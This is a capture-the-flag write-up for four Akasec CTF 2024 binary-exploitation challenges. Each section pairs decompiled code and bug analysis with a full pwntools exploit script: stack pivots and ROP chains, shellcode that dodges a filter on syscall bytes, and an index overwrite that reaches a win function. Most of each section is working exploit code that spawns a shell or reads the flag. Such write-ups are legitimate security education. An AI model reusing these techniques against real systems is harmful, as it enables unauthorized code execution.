# Akasec CTF 2024 # Warm up ### Overall ![image](https://hackmd.io/_uploads/H16ZhaHH0.png) ```cpp= int __fastcall main(int argc, const char **argv, const char **envp) { char s[64]; // [rsp+0h] [rbp-40h] BYREF helper(argc, argv, envp); printf("%p\n", &puts); printf("name>> "); fgets(name, 512, stdin); printf("alright>> "); fgets(s, 88, stdin); puts("okey"); return 0; } ``` - No PIE - No canaryfound - Give me the address of puts -> leak libc ### Bug ```cpp= char s[64]; fgets(s, 88, stdin); ``` - **BOF** ### Approach **Target:** stack pivot + ROP - As you see, I only have 16 bytes to overwrite from retaddr. If I call system("/bin/sh"), I will need at least 3 quadwords : poprdi_ret, binsh and system. - So I need to use stack pivot to do my ROP. - The program disable PIE and name is global variable, so the address of this variable remains unchanged. - It is a good idea to try to move stack pointer to this. ![image](https://hackmd.io/_uploads/S1YwgCHHC.png) - ![image](https://hackmd.io/_uploads/ByYFgRBSA.png) ### Problem Normally, I try to use method poprdiret, binsh, system; however, it doesn't work here. I try to make rdi, rsi, rcx is zero; it still fails. I don't know exactly the reason for this. - ![image](https://hackmd.io/_uploads/HyUoMRHBC.png) - ![image](https://hackmd.io/_uploads/SkCy70rHC.png) I used to be stuck and panic for this challenge in one moment. Fortunately, I try with syscall and it works. ### Script ```python= #!/usr/bin/env python3 from pwn import * context.log_level = 'debug' context.binary = elf = ELF('./warmup_patched', checksec=False) libc = elf.libc gs = """ b *main b *main+141 b *main+166 b *main+167 """ def info(mes): return log.info(mes) def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) elif args.REMOTE: return remote('172.210.129.230', 1338) else: return process(elf.path) io = start() io.recvuntil(b'0x') puts = int(b'0x' + io.recvn(12), 16) libc.address = puts - libc.sym['puts'] info("puts @ " + hex(puts)) info("libc base @ " + hex(libc.address)) binsh = next(libc.search(b'/bin/sh\x00')) syscall = libc.address + 0x00000000000288b5 poprax_ret = libc.address + 0x00000000000dd237 poprdi_ret = libc.address + 0x000000000010f75b poprsi_ret = libc.address + 0x0000000000110a4d poprsp_ret = 0x000000000040118e getshell = p64(poprax_ret) getshell += p64(0x3b) getshell += p64(poprdi_ret) getshell += p64(binsh) getshell += p64(poprsi_ret) getshell += p64(0) getshell += p64(syscall) payload = b'a'*72 payload += p64(poprsp_ret) payload += p64(0x404060) io.sendlineafter(b'name>> ', getshell) io.sendlineafter(b'alright>> ', payload) io.interactive() ``` # Good_trip ## Overall ![image](https://hackmd.io/_uploads/HJlEKkUrR.png) ***main*** ```cpp= int __fastcall main(int argc, const char **argv, const char **envp) { unsigned int v4; // [rsp+4h] [rbp-Ch] BYREF void *buf; // [rsp+8h] [rbp-8h] v4 = 0; init(argc, argv, envp); buf = mmap((void *)0x1337131369LL, 0x1000uLL, 7, 34, -1, 0LL); printf("code size >> "); __isoc99_scanf("%d", &v4); if ( v4 >= 0x1001 ) return 0; printf("code >> "); read(0, buf, 0x999uLL); mprotect(buf, (int)v4, 5); if ( (unsigned __int8)filter(buf) ) { puts("nop, not happening."); exit(-1); } exec(buf); return 0; } ``` ***filter*** ```cpp= __int64 __fastcall filter(__int64 a1) { void *s1[3]; // [rsp+10h] [rbp-20h] int v3; // [rsp+28h] [rbp-8h] int v4; // [rsp+2Ch] [rbp-4h] v4 = -1; s1[0] = &unk_402010; s1[1] = &unk_402013; s1[2] = &unk_402016; while ( ++v4 <= 4093 ) { v3 = -1; while ( ++v3 <= 2 ) { if ( !memcmp(s1[v3], (const void *)(v4 + a1), 2uLL) ) return 1LL; } } return 0LL; } ``` ![image](https://hackmd.io/_uploads/SJz_KkLBR.png) - ***Banned bytes*** - **0F 05:** syscall - **0f 34:** sysenter - **cd 80:** int 0x80 ## Approach **Target:** leak libc - Because PIE enable, so I can use got table to leak libc - ![image](https://hackmd.io/_uploads/SkzS5JLr0.png) - in main - ![image](https://hackmd.io/_uploads/rJMN5J8HC.png) ### Script ```python= #!/usr/bin/env python3 from pwn import * context.log_level = 'debug' context.binary = elf = ELF('./good_trip_patched', checksec=False) #libc = ELF('./libc.so.6', checksec=False) #libc = elf.libc gs = """ b *main b *0x0000000000401382 b *0x00000000004011a6 b *0x00000000004011e6 """ def info(mes): return log.info(mes) def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) elif args.REMOTE: return remote('172.210.129.230', 1351) else: return process(elf.path) shell = \ ''' xor rax, rax mov al, 0x3b lea rdi, [rip + binsh] xor rsi, rsi xor rdx, rdx mov rbx, [0x403fc0] add rbx, 15 jmp rbx binsh: .asciz "/bin/sh" ''' shellcode = asm(shell, arch = 'amd64', os = 'linux') io = start() io.sendlineafter(b'code size >> ', str(len(shellcode)).encode()) io.sendlineafter(b'code >> ', shellcode) io.interactive() ``` # Bad trip ## Overall ![image](https://hackmd.io/_uploads/BJbpm0HrC.png) ***main*** ```cpp= int __fastcall main(int argc, const char **argv, const char **envp) { init(argc, argv, envp); code = mmap((void *)0x1337131369LL, 0x1000uLL, 7, 34, -1, 0LL); mmap((void *)0x6969696969LL, 0x21000uLL, 3, 34, -1, 0LL); printf("here ill give you something to start with %p\n", (const void *)(unsigned int)&puts); printf("code >> "); read(0, code, 0x999uLL); mprotect(code, 0x1000uLL, 5); filter(); exec(code); return 0; } ``` ***filter()*** ```cpp= __int64 filter() { int v1; // [rsp+8h] [rbp-28h] int v2; // [rsp+Ch] [rbp-24h] void *s1[4]; // [rsp+10h] [rbp-20h] s1[3] = (void *)__readfsqword(0x28u); v1 = -1; s1[0] = &unk_2020; s1[1] = &unk_2023; s1[2] = &unk_2026; while ( ++v1 <= 4094 ) { v2 = -1; while ( ++v2 <= 2 ) { if ( !memcmp(s1[v2], (char *)code + v1, 2uLL) ) { puts("nop, not happening."); exit(-1); } } } return 0LL; } ``` ![image](https://hackmd.io/_uploads/SJRvEAHr0.png) - ***Banned bytes*** - **0F 05:** syscall - **0f 34:** sysenter - **cd 80:** int 0x80 ***The program gives me 4 bytes at the end of address of puts in libc.*** ***You input shellcode for program run it. However, filter() bans syscall, int 0x80 and sysenter.*** ## Approach 1 **Target:** libc - ![image](https://hackmd.io/_uploads/HyqoI0BSA.png) - r13: contain the address of stack. - Thus, I can target this to get the libc. - ![image](https://hackmd.io/_uploads/B1wtD0HSA.png) ### Script ```python= #!/usr/bin/env python3 from pwn import * context.log_level = 'debug' context.binary = elf = ELF('./bad_trip_patched', checksec=False) libc = ELF("./libc.so.6", checksec=False) ld = ELF("./ld-linux-x86-64.so.2", checksec=False) gs = """ b *main b *main+191 b *main+216 b *main+241 b *exec+71 """ def info(mes): return log.info(mes) def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) elif args.REMOTE: return remote('172.210.129.230', 1352) else: return process(elf.path) io = start() shell = \ ''' mov rax, r13 sub rax, 288 mov rbx, [rax] add rbx, 0xdb85f xor rax, rax lea rdi, [rip + binsh] xor rsi, rsi xor rdx, rdx mov al, 0x3b jmp rbx binsh: .asciz "/bin/sh" ''' shellcode = asm(shell, arch = 'amd64', os = 'linux') io.sendlineafter(b'code >> ', shellcode) io.interactive() ``` ## Approach 2 **Target:** libc - Leak 4 bytes at the end of the address of puts. - **fs**: this refers to a special segment register in x86 and x86-64 architectures. Segment registers are used in conjunction with base addresses to locate memory locations. In this case, fs specifically points to a region called Thread-Local Storage (TLS). - Afterwards, + 4 bytes: I will have the address of libc. ### Script ```python= #!/usr/bin/env python3 from pwn import * context.log_level = 'debug' context.binary = elf = ELF('./bad_trip_patched', checksec=False) libc = ELF("./libc.so.6", checksec=False) ld = ELF("./ld-linux-x86-64.so.2", checksec=False) gs = """ b *main b *main+191 b *main+216 b *main+241 b *exec+71 """ def info(mes): return log.info(mes) def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) elif args.REMOTE: return remote('172.210.129.230', 1352) else: return process(elf.path) io = start() io.recvuntil(b"with ") leak = int(io.recvline().strip(),16) info(f"leak {hex(leak)}") shell = \ f''' mov rbx, fs:0x0 mov rcx, 0xFFFFFFFF00000000 and rbx, rcx mov eax, {hex(leak)} or rbx, rax add rbx, 0x8993f xor rax, rax lea rdi, [rip + binsh] xor rsi, rsi xor rdx, rdx mov al, 0x3b jmp rbx binsh: .asciz "/bin/sh" ''' shellcode = asm(shell, arch = 'amd64', os = 'linux') io.sendlineafter(b'code >> ', shellcode) io.interactive() ``` ## Other approaches ### Leak libc depend on: ***xmm1*** ### **excve** instead of syscall # Yapping ## Overall ![image](https://hackmd.io/_uploads/ByOWtxUBA.png) ![image](https://hackmd.io/_uploads/S1xGKlLBR.png) ![image](https://hackmd.io/_uploads/HkwmKeUr0.png) ***main*** ```cpp= int __fastcall main(int argc, const char **argv, const char **envp) { char v4[28]; // [rsp+0h] [rbp-20h] BYREF int v5; // [rsp+1Ch] [rbp-4h] v5 = 0; strcpy(v4, "hellooooooooo!\n"); write_(1LL, v4, 15LL); vuln(); return 0; } ``` ***vuln*** ```cpp= __int64 vuln() { char v1[108]; // [rsp+0h] [rbp-70h] BYREF int i; // [rsp+6Ch] [rbp-4h] for ( i = 0; i <= 104; i += 8 ) read_(0LL, &v1[i], 8LL); read_(0LL, &v1[i], 8LL); return write_( 1LL, "\n" "\n" " _ \n" " |_ _. _|_ o _ |_ ._ _ _. ._ ._ o ._ _ _. |_ _ _|_ )\n" "\\/\\/ | | (_| |_ | _> |_) | (_) \\/ (_| |_) |_) | | | (_| (_| |_) (_) |_| |_ o \n" " / | | _| \n" "\n", 367LL); } ``` ***win*** ```cpp= __int64 win() { __int64 result; // rax int v1; // [rsp+8h] [rbp-78h] unsigned int v2; // [rsp+Ch] [rbp-74h] char v3[103]; // [rsp+10h] [rbp-70h] BYREF char var9[17]; // [rsp+77h] [rbp-9h] BYREF strcpy(var9, "flag.txt"); if ( (unsigned int)check_user() ) v2 = open_(var9, 0LL); if ( (unsigned int)check_user() ) v1 = read_(v2, v3, 100LL); result = check_user(); if ( (_DWORD)result ) return write_(1LL, v3, v1); return result; } ``` ***check_user*** ```cpp= __int64 check_user() { signed __int64 v0; // rax if ( user == 97 && byte_404001 == 100 && byte_404002 == 109 && byte_404003 == 105 && byte_404004 == 110 && !byte_404005 ) { return 1; } else { v0 = sys_exit(1); return 0; } } ``` - ![image](https://hackmd.io/_uploads/Skok5gIH0.png) - compare user with: **admin** ## Bug ***Target:*** BOF ```cpp= char v1[108]; // [rsp+0h] [rbp-70h] BYREF int i; // [rsp+6Ch] [rbp-4h] for ( i = 0; i <= 104; i += 8 ) read_(0LL, &v1[i], 8LL); read_(0LL, &v1[i], 8LL); ``` - This function stores index i for loop in stack. - Write 8 bytes each input, but loop to 104 with the size of v1: 108. -> Overwrite i - Afterwards, I have one more time to write 8 bytes to the offset from the address of v1 rely on i. -> Overwrite retaddr. ## Approach **Target** - I need to call win function to get the flag; however, check_user function will check user variable to confirm the privilege. - write "admin" to user variable -> call win. - However, I only one have gadget to overwrite the retaddr. - The program disable PIE - ![image](https://hackmd.io/_uploads/rJF-al8rC.png) - If I jump to `sub rsp,0x70`, I will have more space in the stack can be overwrited, include rbp, retaddr.... - I notice that user variable only can be changed by trigger read to this address of it(this idea is possible because PIE disable -> the address of user variable remains unchanged). - ![image](https://hackmd.io/_uploads/B1YL0e8BC.png) - control rbp -> trigger to write to specified address ## Script ```python= #!/usr/bin/env python3 from pwn import * context.log_level = 'debug' context.binary = elf = ELF('./challenge', checksec=False) gs = \ """ b *main b *vuln+43 b *vuln+80 b *vuln+107 b *vuln+111 b *vuln+112 b *win b *check_user """ def info(mes): return log.info(mes) def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) elif args.REMOTE: return remote('20.80.240.190', 14124) else: return process(elf.path) def vuln(): io.recvuntil(b'hellooooooooo!\n') #garbage data for i in range(13): io.send(b'a'*7 + b'\x00') #overwrite i io.send(b'a'*4 + p32(112)) #overwrite retaddr io.send(p64(0x4011f4)) # garbage data for i in range(10): io.send(b'b'*7 + b'\x00') #overwrite rbp with the value the address of user variable + 0x70 io.send(p64(0x404070)) #overwrite retaddr to write to user variable io.send(p64(0x40122e)) #garbage data io.send(b'd'*8) #overwrite i to overwrite retaddr in the third return io.send(b'b'*4 + p32(208)) #overwrite retaddr io.send(p64(elf.sym['win'])) #write to user variable io.send(b'admin\x00\x00\x00') io = start() vuln() io.interactive() ```